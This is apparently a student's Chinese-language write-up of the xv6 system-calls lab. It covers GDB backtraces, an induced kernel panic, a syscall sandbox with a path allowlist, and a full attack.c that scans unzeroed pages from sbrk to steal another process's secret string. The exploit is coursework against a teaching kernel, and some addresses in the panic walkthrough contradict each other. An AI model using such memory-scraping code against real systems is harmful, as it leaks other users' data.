1 2 3 git fetch git checkout syscall make clean
Using gdb 1.Looking at the backtrace output, which function called syscall? 方法1:通过GDB验证
1 2 3 4 5 6 7 8 9 10 11 # 启动调试 make qemu-gdb # 在另一个终端 b :break c:continue bt:backtrace gdb-multiarch kernel\kernel target remote localhost:26000 (gdb) b syscall (gdb) c # 在 xv6 shell 中执行一个命令,如 ls (gdb) bt # 查看调用栈
方法2:通过源码验证
1 2 3 # 查看 trap.c 中的 usertrap 函数 cd ~/xv6/xv6-labs-2025 grep -n "syscall()" kernel/trap.c
在 xv6 中,系统调用的完整调用链是这样的:
用户程序执行 ecall 指令 ↓ uservec (汇编陷阱入口) ↓ usertrap() (C语言陷阱处理函数) ↓ syscall() (系统调用分发器)
当使用backtrace时:
1 2 3 4 5 (gdb) bt #0 syscall () at kernel/syscall.c:133 #1 0x0000000080001f4e in usertrap () at kernel/trap.c:67 #2 0x0000000080001c4e in uservec () at kernel/trampoline.S:16 #3 0x0000000000000000 in ?? ()
含义:
1 2 3 4 #0: 当前在 syscall()函数 #1: 调用者是 usertrap(),在 kernel/trap.c第 67 行 #2: 再上一层是 uservec(),这是汇编写的陷阱处理入口 #3: 然后是用户空间(地址 0)
What is the value of p->trapframe->a7 and what does that value represent? (Hint: look at user/init.c, the first user program xv6 starts, and its compiled assembly user/init.asm.) 1 2 3 4 5 6 b syscall n n #step past struct proc *p = myproc(); p /x *p p p->trapframe->a7 p /x p->trapframe->a7
效果如下:
p->trapframe->a7的值是15。这是系统调用号,对应 SYS_open系统调用。表示 xv6 启动的第一个用户程序 init正在执行 open("console", O_RDWR)来打开控制台设备。
验证 :
1.
查看 kernel/syscall.h:#define SYS_open 15
2.
查看 user/init.c:第一个操作是 open("console", O_RDWR)
3.
查看 user/init.asm:可以看到 li a7, 15指令
AI对系统调用号的解释:
What was the previous mode that the CPU was in? 通过p /x $sstatus可以看到内核地址空间
CPU之前处于用户模式(User Mode)
在xv6中,CPU主要在两种模式间切换:用户模式和内核模式
xv6操作系统的正常执行流程遵循一个基本规则:内核代码(如您当前中断所在的 main()函数)只能在CPU处于内核态(监管者模式)时执行。因此,任何进入内核的路径,其起点必然是用户态。具体来说,CPU从用户态陷入内核态的唯一途径是发生陷阱(trap),例如:
用户进程主动执行 ecall指令发起系统调用 。
发生硬件中断 (如定时器中断、设备中断)
用户进程触发了异常 (如页面故障、非法指令)。
Write down the assembly instruction the kernel is panicing at. Which register corresponds to the variable num? 首先去kernel/syscall.c里修改如下:
1 2 3 4 5 6 7 8 void syscall(void) { int num; struct proc *p = myproc(); num = *(int *)0; //num = p->trapframe->a7;
这样运行就会报错。实验流程如下:
第1步:触发错误并获取关键线索 然后关闭gdb调试(输入q),再make qemu,报错
1 2 3 4 5 6 xv6 kernel is booting hart 2 starting hart 1 starting scause=0xd sepc=0x80001cf8 stval=0x0 panic: kerneltrap
sepc=0x80001bfe:这是整个调试的最关键线索。它告诉你导致CPU陷入陷阱(trap)的指令保存在内存地址 0x80001bfe处。 stval=0x0: 表示导致异常的内存地址是 0x0(NULL指针)。这强烈暗示错误是尝试访问空指针。
常见的scause的值及含义
2.第二步:定位错误的汇编指令 查找汇编文件 : 内核编译后,会生成一个 kernel/kernel.asm文件。这个文件是内核可执行程序的反汇编文本 ,它将机器码地址与汇编指令、以及对应的C代码行关联起来。
搜索sepc地址 : 在终端中执行:
1 2 3 grep -n "80001bfe:" kernel/kernel.asm 返回: 4409: 80001cf8: 00002683 lw a3,0(zero) # 0 <_entry-0x80000000>
80001bfe:: 地址,与sepc完全匹配。 lw a3,0(zero): 这就是引发panic的致命指令。 指令解析: lw(Load Word)指令从内存地址 0(zero)处加载一个32位字到寄存器 a3中。这里的 0(zero)含义是零寄存器的值(恒为0)加上偏移0,即内存地址0。 错误分析: 从stval=0x0可知,尝试访问的内存地址是0。由于地址0是非法地址(通常保留或未映射),这条指令试图从内存地址0读取数据,触发了页面错误异常(Load Page Fault),导致内核panic。
第二步也可以使用gdb调试功能
1 2 3 (gdb) b *0x80001cf8 (gdb) layout asm (gdb) c
第3步:将汇编指令映射回C源代码 在kernel.asm里查找8001cf8:
基本确定是syscall里num赋值的问题
回到问题,正如num = p->trapframe->a7,寄存器a7存储了num的值
Why does the kernel crash? Hint: look at figure 3-3 in the text; is address 0 mapped in the kernel address space? Is that confirmed by the value in scause above? (See description of scause in RISC-V privileged instructions ) 内核崩溃是因为执行了一条试图从内存地址 0 读取数据的指令。地址 0 在内核的地址空间中未被映射 (如图3-3所示),因此访问它会触发处理器异常。RISC-V 的 scause寄存器记录了此次异常的原因为 0xd (Load Page Fault) ,这直接证实了崩溃是由于“加载页错误”导致的。
What is the name of the process that was running when the kernel paniced? What is its process id (pid)?
Sandbox a command 如何在内核层面实现权限控制机制,在本实验中,你将实现“沙箱”,以限制其可调用的系统调用。
首先在Makefile里添加$U/_sandbox\
然后添加用户空间支持
1 2 3 4 5 6 添加用户空间调用声明,user/user.h,在文件末尾的 // system calls部分添加: int interpose(int mask, const char *path); 更新系统调用存根生成脚本, user/usys.pl,在 entry:列表末尾添加 entry("interpose"); 添加系统调用号,kernel/syscall.h #define SYS_interpose 24
内核实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 在进程结构体中添加沙箱掩码字段,kernel/proc.h,在struct proc中添加: int interpose_mask; // 沙箱掩码 在系统调用表中注册新的系统调用,kernel/syscall.c extern uint64 sys_interpose(void);//添加外部函数声明 [SYS_interpose] sys_interpose,// 在系统调用表中添加条目 实现系统调用处理函数, kernel/sysproc.c,在文件末尾添加 uint64 sys_interpose(void) { int mask; char path[256]; struct proc *p = myproc(); argint(0, &mask); argstr(1, path, sizeof(path)); p->interpose_mask = mask; return 0; } 修改 fork 函数实现掩码继承,kernel/proc.c np->sz = p->sz; np->interpose_mask = p->interpose_mask; // 添加这一行 在系统调用分发器中检查掩码,kernel/syscall.c void syscall(void) { int num; struct proc *p = myproc(); num = p->trapframe->a7; if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { // 检查是否被沙箱屏蔽 if(p->interpose_mask & (1 << num)) { // 系统调用被屏蔽,返回 -1 p->trapframe->a0 = -1;//为什么是a0?这涉及到RISC-V架构的调用约定,a0用来存放函数参数/返回值 } else { p->trapframe->a0 = syscalls[num](); } } else { printf("%d %s: unknown sys call %d\n", p->pid, p->name, num); p->trapframe->a0 = -1; } }
测试如下
1 2 make qemu sandbox 32768 - cat README
1 2 3 ./grade-lab-syscall sandbox_mask make: “kernel/kernel”已是最新。 == Test sandbox_mask == sandbox_mask: OK (1.5s)
补充:理解 xv6 中 proc、syscall、sysproc 的关系与 interpose 实现机制
1 2 3 4 5 6 7 8 9 10 11 用户程序 ↓ 系统调用入口 (ecall) ↓ syscall() 函数 (系统调用分发器) ↓ sysproc.c 中的具体处理函数 ↓ proc 结构体 (进程上下文) ↓ 硬件资源
proc 结构体:保存一个进程的所有状态信息 syscall 函数:接收所有系统调用请求,并分发到具体处理函数 sysproc:实现各个系统调用的具体逻辑
Sandbox with allowed pathnames 这个实验是沙箱功能扩展 ,在之前的基础上添加了路径名白名单 功能。即使 open或 exec系统调用被屏蔽,但如果访问的路径名匹配 指定的允许路径,则允许执行该系统调用。
需要修改的文件:
1.kernel/proc.h:扩展进程结构体
1 2 3 4 5 struct proc { int pid; char name[16]; int interpose_mask; // 已有的掩码 char allowed_path[MAXPATH]; // 新增:允许的路径
2.kernel/sysproc.c :修改系统调用处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 uint64 sys_interpose(void) { int mask; struct proc *p = myproc(); // 获取掩码参数 argint(0, &mask); // 获取路径参数,直接保存到进程结构体 argstr(1, p->allowed_path, MAXPATH); p->interpose_mask = mask; return 0; }
3.kernel/syscall.c :增强检查逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 void syscall(void) { int num; struct proc *p = myproc(); num = p->trapframe->a7; if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { // 检查是否被沙箱屏蔽 int masked = p->interpose_mask & (1 << num); if (masked) { // 如果是 open 或 exec,检查路径例外 if (num == SYS_open || num == SYS_exec) { char path[MAXPATH]; // 获取路径参数 if (argstr(0, path, MAXPATH) >= 0) { // 比较路径是否匹配 int match = 1; for (int i = 0; i < MAXPATH; i++) { if (path[i] != p->allowed_path[i]) { match = 0; break; } if (path[i] == '\0') break; } if (match) { // 路径匹配,允许执行 p->trapframe->a0 = syscalls[num](); return; } } } // 不匹配或其他被屏蔽的系统调用 p->trapframe->a0 = -1; } else { p->trapframe->a0 = syscalls[num](); } } else { printf("%d %s: unknown sys call %d\n", p->pid, p->name, num); p->trapframe->a0 = -1; } }
4.kernel/proc.c:修改fork
1 2 3 4 5 6 7 8 9 10 11 12 13 int fork(void) { // ... 现有代码 // 复制沙箱掩码 np->interpose_mask = p->interpose_mask; // 复制允许的路径 safestrcpy(np->allowed_path, p->allowed_path, MAXPATH); // ... 其他代码 }
如果出现 MAXPATH未定义错误,在 kernel/param.h中添加:
测试结果:
Attack xv6 这个实验要求利用 xv6 内核的一个安全漏洞:新分配的内存页面没有被清零,从而可能泄露之前进程的数据。你的任务是编写一个攻击程序 attack.c来窃取 secret.c程序写入内存的秘密字符串。
内核在以下三个地方省略了 memset调用:
1.kernel/vm.c 中的 uvmalloc()函数
1 2 3 4 // 省略了清除新分配页面的代码 // ifndef LAB_SYSCALL // memset(mem, 0, sz); // endif
2.kernel/kalloc.c 中的两处 memset调用也被省略。
导致新分配的内存页面保留之前使用的内容 ,调用 sbrk()分配内存的程序可能收到包含之前进程数据的页面,secret.c写入秘密字符串后退出,其内存被释放但未清零,attack.c分配内存时可能获得包含秘密的页面
攻击的核心逻辑: attack 程序需要向内核申请大量内存 扫描新分配的内存 由于秘密字符串是纯文本(数字+字母),需要在乱码中通过特征识别出它
attack.c代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 #include "kernel/types.h" #include "user/user.h" int is_alnum(char c) { return (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9'); } int main() { int page_size = 4096; int num_pages = 2048; // 8MB char *old_brk = sbrk(0); printf("Old break: %p\n", old_brk); // 分配内存 for (int i = 0; i < num_pages; i++) { if (sbrk(page_size) == (char*)-1) { printf("Allocation failed at page %d\n", i); break; } } char *new_brk = sbrk(0); printf("New break: %p\n", new_brk); printf("Allocated: %d bytes\n", (int)(new_brk - old_brk)); char *best_start = 0; int best_len = 0; int candidate_count = 0; // 扫描新分配的内存 for (char *p = old_brk; p < new_brk; p++) { if (is_alnum(*p)) { char *start = p; int len = 0; while (p < new_brk && is_alnum(*p)) { len++; p++; } // 如果序列较长,打印出来看看 if (len >= 4) { candidate_count++; printf("Candidate #%d (len=%d): ", candidate_count, len); for (int i = 0; i < len && i < 30; i++) { printf("%c", start[i]); } printf("\n"); } // 记录最长的序列 if (len > best_len) { best_len = len; best_start = start; } p--; // 回退一步 } } printf("\nTotal candidates: %d\n", candidate_count); printf("Longest sequence length: %d\n", best_len); // 输出最长的序列 if (best_start && best_len > 0) { printf("Longest sequence: "); for (int i = 0; i < best_len; i++) { printf("%c", best_start[i]); } printf("\n"); } exit(0); }
然后执行:
1 2 3 make qemu secret huzayn attack
我的这个代码会输出所有找到的结果,
其中第37号就是secret
但是这个显然是不符合实验要求的,实验要求只能输出一行,并且最多运行两次attack。阅读secret.c可知:
1 2 3 strcpy(data, "This may help."); strcpy(data + 16, argv[1]);
意味着secret前面有单词: “This may help.”,因此可以根据这个来寻找
修改代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 #include "kernel/types.h" #include "user/user.h" int is_alnum(char c) { return (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || (c >= '0' && c <= '9'); } int main() { // 分配大量内存 int total_pages = 4096; // 16MB char *old_brk = sbrk(0); //这是 xv6 中动态分配内存的标准方式 for (int i = 0; i < total_pages; i++) { if (sbrk(4096) == (char*)-1) break; } char *new_brk = sbrk(0); char *best_start = 0; int best_len = 0; // 策略1:寻找 "This may help." 模式后面的秘密 for (char *p = old_brk; p < new_brk - 50; p++) { // 检查是否有 "This may help." 模式 char prefix[] = "This may help."; int match = 1; for (int i = 0; i < 14; i++) { if (p[i] != prefix[i]) { match = 0; break; } } if (match) { // 找到前缀,检查后面16字节处的秘密 char *secret_start = p + 16; if (is_alnum(*secret_start)) { char *start = secret_start; int len = 0; while (secret_start + len < new_brk && is_alnum(secret_start[len])) { len++; } if (len > best_len) { best_len = len; best_start = start; } } } } // 策略2:如果没找到模式,回退到寻找最长序列 if (!best_start) { for (char *p = old_brk; p < new_brk; p++) { if (is_alnum(*p)) { char *start = p; int len = 0; while (p < new_brk && is_alnum(*p)) { len++; p++; } if (len > best_len) { best_len = len; best_start = start; } p--; } } } // 输出结果 if (best_start && best_len > 0) { for (int i = 0; i < best_len; i++) { printf("%c", best_start[i]); } printf("\n"); } exit(0); }
测试
1 2 3 huzayn@huzayn-VMware-Virtual-Platform:~/xv6/xv6-labs-2025$ ./grade-lab-syscall attack make: “kernel/kernel”已是最新。 == Test attack == attack: OK (1.8s)
实验system calls到此完成
1 2 git add . git commit -m"huzayn完成修改"